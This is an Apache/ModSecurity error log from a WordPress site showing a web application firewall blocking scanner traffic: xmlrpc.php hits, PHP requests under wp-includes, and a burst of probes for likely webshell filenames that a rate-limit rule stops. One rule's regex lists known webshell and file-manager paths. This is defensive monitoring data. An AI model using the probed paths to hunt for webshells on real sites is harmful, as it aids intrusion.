[Wed Dec 31 06:57:41.724662 2025] [:error] [pid 42536:tid 42556] [client 4.194.133.126:16858] [client 4.194.133.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aVRY5QY1iaVE0V_WQ59HMQAAAVI"], referer: https://www.bing.com/
[Wed Dec 31 06:57:41.899849 2025] [:error] [pid 42504:tid 42522] [client 4.194.133.126:16777] [client 4.194.133.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/index.php"] [unique_id "aVRY5Vg0lj8Dy7rLxBDtoQAAAQ8"], referer: https://www.google.co.uk/
[Wed Dec 31 06:57:42.172942 2025] [:error] [pid 42536:tid 42550] [client 4.194.133.126:16888] [client 4.194.133.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aVRY5gY1iaVE0V_WQ59HNAAAAUw"], referer: https://www.yahoo.com/
[Wed Dec 31 06:57:42.348188 2025] [:error] [pid 42410:tid 42444] [client 4.194.133.126:16894] [client 4.194.133.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aVRY5o88GyeTD4x6y_nT0gAAAIU"], referer: https://www.google.com/
[Wed Dec 31 06:57:42.529404 2025] [proxy_fcgi:error] [pid 42409:tid 42425] [client 4.194.133.126:16774] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Wed Dec 31 06:57:42.619787 2025] [proxy_fcgi:error] [pid 42409:tid 42435] [client 4.194.133.126:16774] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Wed Dec 31 06:57:42.710423 2025] [proxy_fcgi:error] [pid 42409:tid 42428] [client 4.194.133.126:16774] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Wed Dec 31 07:04:08.343648 2025] [:error] [pid 42410:tid 42442] [client 193.56.20.247:38083] [client 193.56.20.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||agraphics.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aVRaaI88GyeTD4x6y_nWHQAAAIM"]
[Wed Dec 31 07:04:42.275763 2025] [:error] [pid 42410:tid 42461] [client 178.20.212.249:26793] [client 178.20.212.249] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||agraphics.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aVRaio88GyeTD4x6y_nWOwAAAJY"]
[Wed Dec 31 13:07:52.094513 2025] [:error] [pid 48714:tid 48752] [client 177.162.7.240:53917] [client 177.162.7.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.162.7.240, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aVSvqL9PcChEHWa6VitAmwAAAAc"]
[Wed Dec 31 13:07:52.106150 2025] [proxy_fcgi:error] [pid 48714:tid 48752] [client 177.162.7.240:53917] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 17:01:40.200625 2025] [autoindex:error] [pid 48714:tid 48763] [client 138.197.17.1:59029] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Dec 31 22:22:36.018373 2025] [proxy_fcgi:error] [pid 64406:tid 64429] [client 158.158.121.220:13333] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 22:22:36.406054 2025] [proxy_fcgi:error] [pid 64406:tid 64413] [client 158.158.121.220:13333] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 22:22:36.722456 2025] [proxy_fcgi:error] [pid 64406:tid 64432] [client 158.158.121.220:13333] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 22:22:37.282353 2025] [proxy_fcgi:error] [pid 64406:tid 64414] [client 158.158.121.220:13333] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 22:22:37.785043 2025] [:error] [pid 64406:tid 64416] [client 158.158.121.220:13333] [client 158.158.121.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.158.121.220, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aVUxrSLRcJYP7e7OhBY0HwAAAQg"]
[Wed Dec 31 22:22:37.789268 2025] [proxy_fcgi:error] [pid 64406:tid 64416] [client 158.158.121.220:13333] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 22:22:38.362346 2025] [proxy_fcgi:error] [pid 64406:tid 64427] [client 158.158.121.220:13333] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 22:22:38.618137 2025] [proxy_fcgi:error] [pid 64406:tid 64411] [client 158.158.121.220:13333] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 22:22:39.018725 2025] [proxy_fcgi:error] [pid 64406:tid 64426] [client 158.158.121.220:13333] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 22:22:39.282279 2025] [proxy_fcgi:error] [pid 64406:tid 64415] [client 158.158.121.220:13333] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 22:22:39.535427 2025] [proxy_fcgi:error] [pid 64406:tid 64409] [client 158.158.121.220:13333] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 22:22:39.786909 2025] [:error] [pid 64406:tid 64418] [client 158.158.121.220:13333] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aVUxryLRcJYP7e7OhBY0JgAAAQo"]
[Wed Dec 31 22:22:41.404218 2025] [:error] [pid 48714:tid 48752] [client 158.158.121.220:13330] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aVUxsb9PcChEHWa6ViujhgAAAAc"]
[Wed Dec 31 22:22:42.807163 2025] [:error] [pid 7576:tid 7603] [client 158.158.121.220:13419] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aVUxsqFUpQkpGJNxC__bFQAAAVc"]
[Wed Dec 31 22:22:43.670245 2025] [:error] [pid 64406:tid 64422] [client 158.158.121.220:13406] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aVUxsyLRcJYP7e7OhBY0JwAAAQ4"]
[Wed Dec 31 22:22:44.797368 2025] [:error] [pid 8068:tid 8088] [client 158.158.121.220:13436] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aVUxtCSVtzoWnijCxFaBnAAAAdI"]
[Wed Dec 31 22:22:46.145060 2025] [:error] [pid 8068:tid 8084] [client 158.158.121.220:13314] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aVUxtiSVtzoWnijCxFaBoQAAAc4"]
[Wed Dec 31 22:22:47.661320 2025] [:error] [pid 64406:tid 64410] [client 158.158.121.220:13316] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aVUxtyLRcJYP7e7OhBY0KQAAAQI"]
[Wed Dec 31 22:22:49.595417 2025] [:error] [pid 8068:tid 8088] [client 158.158.121.220:13376] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aVUxuSSVtzoWnijCxFaBpQAAAdI"]
[Wed Dec 31 22:22:50.716546 2025] [:error] [pid 48714:tid 48749] [client 158.158.121.220:13324] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file22.php"] [unique_id "aVUxur9PcChEHWa6ViujiQAAAAQ"]
[Wed Dec 31 22:22:52.748055 2025] [:error] [pid 7576:tid 7602] [client 158.158.121.220:13318] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file22.php"] [unique_id "aVUxvKFUpQkpGJNxC__bHAAAAVY"]
[Wed Dec 31 22:22:55.339362 2025] [:error] [pid 48833:tid 48838] [client 158.158.121.220:13335] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file22.php"] [unique_id "aVUxv2PnRNOqqZ1OQg8JggAAAEM"]
[Wed Dec 31 22:22:56.200322 2025] [:error] [pid 64406:tid 64419] [client 158.158.121.220:13403] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file22.php"] [unique_id "aVUxwCLRcJYP7e7OhBY0LgAAAQs"]
[Wed Dec 31 22:22:57.728322 2025] [:error] [pid 8068:tid 8088] [client 158.158.121.220:13424] [client 158.158.121.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aVUxwSSVtzoWnijCxFaBsAAAAdI"]
[Wed Dec 31 22:22:58.710221 2025] [:error] [pid 8068:tid 8090] [client 158.158.121.220:13379] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "aVUxwiSVtzoWnijCxFaBsgAAAdQ"]
[Wed Dec 31 22:22:59.941170 2025] [:error] [pid 48713:tid 48727] [client 158.158.121.220:13435] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "aVUxw0yNMVAGtWvMliP-rgAAAMk"]
[Wed Dec 31 22:23:01.099371 2025] [:error] [pid 48714:tid 48761] [client 158.158.121.220:13398] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "aVUxxb9PcChEHWa6ViujkAAAABA"]
[Wed Dec 31 22:23:02.217869 2025] [:error] [pid 7576:tid 7598] [client 158.158.121.220:1992] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "aVUxxqFUpQkpGJNxC__bJwAAAVQ"]
[Wed Dec 31 22:23:03.078304 2025] [:error] [pid 48715:tid 48774] [client 158.158.121.220:2008] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aVUxx2amQpQY7KfuoW11_gAAAII"]
[Wed Dec 31 22:23:04.038887 2025] [:error] [pid 48833:tid 48835] [client 158.158.121.220:13349] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aVUxyGPnRNOqqZ1OQg8JgwAAAEA"]
[Wed Dec 31 22:23:05.182195 2025] [:error] [pid 48714:tid 48752] [client 158.158.121.220:13312] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aVUxyb9PcChEHWa6ViujkgAAAAc"]
[Wed Dec 31 22:23:05.997361 2025] [:error] [pid 7800:tid 7819] [client 158.158.121.220:13410] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aVUxySN6RFoECeReAPV6MAAAAZA"]
[Wed Dec 31 22:23:07.297000 2025] [:error] [pid 8068:tid 8089] [client 158.158.121.220:13428] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aVUxyySVtzoWnijCxFaBtgAAAdM"]
[Wed Dec 31 22:23:08.685836 2025] [:error] [pid 7576:tid 7592] [client 158.158.121.220:13395] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aVUxzKFUpQkpGJNxC__bKQAAAU4"]
[Wed Dec 31 22:23:09.421619 2025] [:error] [pid 48833:tid 48840] [client 158.158.121.220:13418] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aVUxzWPnRNOqqZ1OQg8JiAAAAEU"]
[Wed Dec 31 22:23:10.350477 2025] [:error] [pid 48715:tid 48791] [client 158.158.121.220:13404] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aVUxzmamQpQY7KfuoW12AwAAAJM"]
[Wed Dec 31 22:23:11.561403 2025] [:error] [pid 48833:tid 48836] [client 158.158.121.220:13417] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e.php"] [unique_id "aVUxz2PnRNOqqZ1OQg8JiQAAAEE"]
[Wed Dec 31 22:23:12.592618 2025] [:error] [pid 64406:tid 64424] [client 158.158.121.220:13423] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e.php"] [unique_id "aVUx0CLRcJYP7e7OhBY0OAAAARA"]
[Wed Dec 31 22:23:14.272922 2025] [:error] [pid 7800:tid 7820] [client 158.158.121.220:13378] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e.php"] [unique_id "aVUx0iN6RFoECeReAPV6OAAAAZE"]
[Wed Dec 31 22:23:15.314733 2025] [:error] [pid 48714:tid 48767] [client 158.158.121.220:13437] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e.php"] [unique_id "aVUx079PcChEHWa6ViujlQAAABY"]
[Wed Dec 31 22:23:16.409909 2025] [:error] [pid 8068:tid 8080] [client 158.158.121.220:13429] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file15.php"] [unique_id "aVUx1CSVtzoWnijCxFaBvwAAAco"]
[Wed Dec 31 22:23:18.039253 2025] [:error] [pid 7800:tid 7806] [client 158.158.121.220:13327] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file15.php"] [unique_id "aVUx1iN6RFoECeReAPV6QAAAAYM"]
[Wed Dec 31 22:23:18.880375 2025] [:error] [pid 8068:tid 8070] [client 158.158.121.220:1998] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file15.php"] [unique_id "aVUx1iSVtzoWnijCxFaBxwAAAcA"]
[Wed Dec 31 22:23:20.001426 2025] [:error] [pid 7576:tid 7590] [client 158.158.121.220:13391] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file15.php"] [unique_id "aVUx2KFUpQkpGJNxC__bMQAAAUw"]
[Wed Dec 31 22:23:21.023462 2025] [:error] [pid 48713:tid 48742] [client 158.158.121.220:13389] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/C.php"] [unique_id "aVUx2UyNMVAGtWvMliP-sgAAANg"]
[Wed Dec 31 22:23:21.944444 2025] [:error] [pid 48714:tid 48763] [client 158.158.121.220:13315] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/C.php"] [unique_id "aVUx2b9PcChEHWa6ViujngAAABI"]
[Wed Dec 31 22:23:22.899683 2025] [:error] [pid 8068:tid 8075] [client 158.158.121.220:2012] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/C.php"] [unique_id "aVUx2iSVtzoWnijCxFaBygAAAcU"]
[Wed Dec 31 22:23:23.878798 2025] [:error] [pid 48833:tid 48858] [client 158.158.121.220:13422] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/C.php"] [unique_id "aVUx22PnRNOqqZ1OQg8JkQAAAFc"]
[Wed Dec 31 22:23:25.124829 2025] [:error] [pid 7576:tid 7589] [client 158.158.121.220:13347] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aVUx3aFUpQkpGJNxC__bMwAAAUs"]
[Wed Dec 31 22:23:26.153071 2025] [:error] [pid 8068:tid 8093] [client 158.158.121.220:13390] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aVUx3iSVtzoWnijCxFaBzQAAAdc"]
[Wed Dec 31 22:23:27.412373 2025] [:error] [pid 64406:tid 64421] [client 158.158.121.220:13385] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aVUx3yLRcJYP7e7OhBY0PgAAAQ0"]
[Wed Dec 31 22:23:28.348415 2025] [:error] [pid 48713:tid 48733] [client 158.158.121.220:13402] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aVUx4EyNMVAGtWvMliP-tgAAAM8"]
